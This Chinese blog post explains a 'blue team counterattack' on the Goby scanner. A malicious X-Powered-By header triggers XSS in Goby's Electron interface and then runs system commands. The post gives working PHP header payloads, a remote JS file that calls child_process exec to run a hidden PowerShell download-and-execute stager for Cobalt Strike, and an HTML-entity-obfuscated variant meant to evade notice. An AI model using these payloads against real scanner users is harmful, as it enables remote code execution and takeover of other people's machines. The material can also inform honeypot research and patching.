首页 > 其他分享 >蓝队反制之--Goby反制

蓝队反制之--Goby反制

时间:2023-12-27 11:36:27浏览次数:35  
标签:Powered -- 中间件 反制 Apache Goby payload

原理

据Goby官方解释,这实际上是一个非常久远的历史漏洞,最早的纰漏的时间是在2021年10月,当月漏洞就已修复并发布新版本。至于漏洞为何存在,得追溯到Goby的组件识别能力,Goby是使用Electron构建的客户端软件,在Goby的资产界面中,扫描结果里会展示所有符合指纹识别规则的组件名称,比如PHP、IIS等,而Goby为了更为精准的组件识别,Goby会从返回的数据报文中提取版本信息(例如X-Powered-By中),并在资产界面进行渲染展示,在旧版本的Goby中并未对版本信息做无害化处理,从而导致漏洞产生。

X-Powered-By:X-Powered-By 是 HTTP 头中的一个字段,主要用于表示网站所使用的服务器、编程语言或框架等信息。例如对于Apache中间件的网站默认会包含X-Powered-By,其中包含一些banner(如PHP/5.3.29),Goby则是收集这些banner来识别组件信息的。

我们也可以自定义一个X-Powered-By 头来干扰Goby进行指纹识别,例如在代码中加入

<?php
header("X-Powered-By: yuzi");
?>

当我们我们再次发包查看会发现X-Powered-By: yuzi

对于Nginx中间件的网站默认不会包含X-Powered-By,需要自己构造X-Powered-By才显示,对比Apache中间件网站会安全一些

对于其他中间件来说

  • Tomcat:默认添加,例如 X-Powered-By: Servlet/3.0
  • IIS:默认添加,例如 X-Powered-By: http://ASP.NET
  • Jetty:默认添加,例如 X-Powered-By: Jetty

影响版本

Goby版本应 < 2.0.0

反制复现

Nginx环境复现

在网站根目录下对网站的首页(index.php)添加带payload的X-Powered-By段

<?php
header("X-Powered-By: PHP/5.3.29  <img\tsrc=1\tonerror=alert(/helloworld/)>");
?>
//语句中的/t不能用空格进行替代可以用tab键代替,且所有的空格处应该为tab键
//标签内语句中若存在双引号则要反斜杠(\)对其进行转义,如<img\tsrc=\"x\"\tonerror=\"alert(/helloworld/);\">
//若数字在弹窗内容中则无需在两边加斜杠(/),如<img\tsrc=1\tonerror=\"alert(1);\">

此时,红队在利用Goby对该蓝队主机进行扫描,扫描完后红队会自然而然地点击IP处进行查看当前的扫描结果

当红队进入IP的资产页面后,页面会优先显示蓝队主机网站的首页的指纹信息,此时我们在首页构造的X-Powered-By被Goby识别且没有做识别过滤,因此会在Goby资产页面显示并且payload会被执行

在Goby识别指纹的时候,把恶意语句识别进去了,在PHP指纹界面上可以很清楚的看到蓝队在首页的payload,但是Goby在该页面上并不会触发payload,只有从主页中点击进入IP详情界面,才会触发payload

由于Goby使用Electron构建客户端软件,Electron用的是node.js,并且node.js能执行系统命令,故可以把危害放大化直接反制上线蓝队CS,将主页的payload更改为远程加载JS文件来执行命令

<?php
header("X-Powered-By: PHP/5.3.29 <img\tsrc=1\tonerror=import(unescape('http%3A//192.168.108.164/1.js'))>");
?>
//URL中的:需要用%3A表示,unescape()会复原URL

构造主页payload中需要远程加载的恶意JS文件1.js

(function(){
require('child_process').exec('powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring(\'http://192.168.108.164:100/a\'))"');
})();
//exec()内可以执行任意的系统命令例如exec('calc.exe');弹出计算机,这里通过CS的powershell命令执行进行上线
//若需要执行上线CS的命令的时,要用反斜杠(\)要把单引号转义一下,其他命令不用

为了反制时候达到隐匿效果,通常蜜罐会将payload进行HTML实体编码

<?php
header("X-Powered-By: PHP/5.3.29 <img src=1 one rror=&#x69;&#x6d;&#x70;&#x6f;&#x72;&#x74;&#x28;&#x75;&#x6e;&#x65;&#x73;&#x63;&#x61;&#x70;&#x65;&#x28;&#x27;&#x68;&#x74;&#x74;&#x70;&#x25;&#x33;&#x41;&#x2f;&#x2f;&#x31;&#x39;&#x32;&#x2e;&#x31;&#x36;&#x38;&#x2e;&#x31;&#x30;&#x38;&#x2e;&#x31;&#x36;&#x34;&#x2f;&#x31;&#x2e;&#x6a;&#x73;&#x27;&#x29;&#x29;&#xa;>");
?>
//标签不能编码

其他中间件

Apache等中间件会默认会包含X-Powered-By,这对Goby来说是不利于识别我们在X-Powered-By构造payload的。

Apache环境复现为了让我们构造的X-Powered-By不和Apache自身默认的X-Powered-By造成冲突,我们需要在Apache中禁用默认的X-Powered-By。我们打开Apache的配置文件httpd.conf,文件中任意空白处添加

ServerTokens Prod
#将ServerTokens设置为Prod将隐藏Apache版本信息和X-Powered-By头。

添加完后,记得重启Apache服务,按照和Nginx一样的步骤

此Goby反制虽然是一个已经修复很久的漏洞了,但是基数上还是会有许多人在使用着存在漏洞的Goby版本,对应地在公网上也存在很多反制Goby的蜜罐

标签:Powered,--,中间件,反制,Apache,Goby,payload
From: https://www.cnblogs.com/hgschool/p/17930195.html

相关文章

  • 软件测试面试之——你们项目中是如何做用例评审
    ......
  • 神经网络优化篇:详解其他正则化方法(Other regularization methods)
    其他正则化方法除了\(L2\)正则化和随机失活(dropout)正则化,还有几种方法可以减少神经网络中的过拟合:一.数据扩增假设正在拟合猫咪图片分类器,如果想通过扩增训练数据来解决过拟合,但扩增数据代价高,而且有时候无法扩增数据,但可以通过添加这类图片来增加训练集。例如,水平翻转图片,并......
  • 人工智能大模型原理与应用实战:从AutoML to Neural Architecture Search
    1.背景介绍人工智能(ArtificialIntelligence,AI)是一门研究如何让机器具有智能行为的学科。在过去的几年里,人工智能技术取得了显著的进展,尤其是在深度学习(DeepLearning)和自然语言处理(NaturalLanguageProcessing,NLP)等领域。这些技术的发展受益于大规模的计算资源和数据集,以及更......
  • AspNetCore的单元测试
    一、单元测试项目如何创建VisualStudio新建项目,项目类型选择测试。 可以看到有许多选项,都大差不差。这里选择xUnit。项目名使用要测试的项目名加上“.Tests”后缀。二、进行单元测试首先明确测试对象,通常是针对一个类型进行测试,新建Test类,类名为测试对象的类名加上“Test......
  • 获得JD商品评论 API 如何实现实时数据获取
    一、背景介绍随着互联网的快速发展,电商平台如雨后春笋般涌现,其中京东(JD)作为中国最大的自营式电商平台之一,拥有庞大的用户群体和丰富的商品资源。为了更好地了解用户对商品的反馈,京东开放了商品评论的API接口,允许开发者实时获取商品评论数据。本文将介绍如何通过JD商品评论API实现实......
  • 人工智能大模型原理与应用实战:从RetinaNet到YOLOv4
    1.背景介绍人工智能(ArtificialIntelligence,AI)是指一种使计算机具有人类智能的科学和技术。人工智能的主要目标是让计算机能够理解自然语言、进行逻辑推理、学习自主行动、理解视觉和听觉等。人工智能的应用范围非常广泛,包括自然语言处理、计算机视觉、机器学习、深度学习、人工......
  • 1、平衡与非平衡、定阻与定压
    一、平衡与非平衡    平衡线和非平衡线组成 接线方式:平衡线  Hot----+    、cold-----、G---G进行连接非平衡线因为没有cold,    所以-和接地G当成一根连接,hot----+ 平衡和非平衡信号的传输过程:1、音源是以波的形式进行传输的,非平衡信号在......
  • 人工智能大模型原理与应用实战:从UNet到Mask RCNN
    1.背景介绍人工智能(ArtificialIntelligence,AI)是一门研究如何让计算机自主地完成人类任务的学科。在过去的几十年里,人工智能主要关注于规则引擎和知识表示。然而,随着数据量的增加和计算能力的提高,深度学习(DeepLearning)成为人工智能领域的一个热门话题。深度学习是一种通过神经网......
  • 人工智能大模型原理与应用实战:利用大模型进行自动驾驶研究
    1.背景介绍自动驾驶技术是人工智能领域的一个重要研究方向,它旨在通过集成计算机视觉、机器学习、路径规划和控制等技术,实现无人驾驶汽车的智能化和自主化。在过去的几年里,自动驾驶技术取得了显著的进展,尤其是在深度学习和大模型方面的研究。这篇文章将介绍如何利用大模型进行自动驾......
  • 002-STM32F103+EC800K(移远4G Cat1)基本控制篇(阿里云物联网平台)--STM32+EC800K使用M
    <p><iframename="ifd"src="https://mnifdv.cn/resource/cnblogs/ZLIOTB/EC800K/aliyun.html"frameborder="0"scrolling="auto"width="100%"height="1500"></iframe></p> 说明阿里......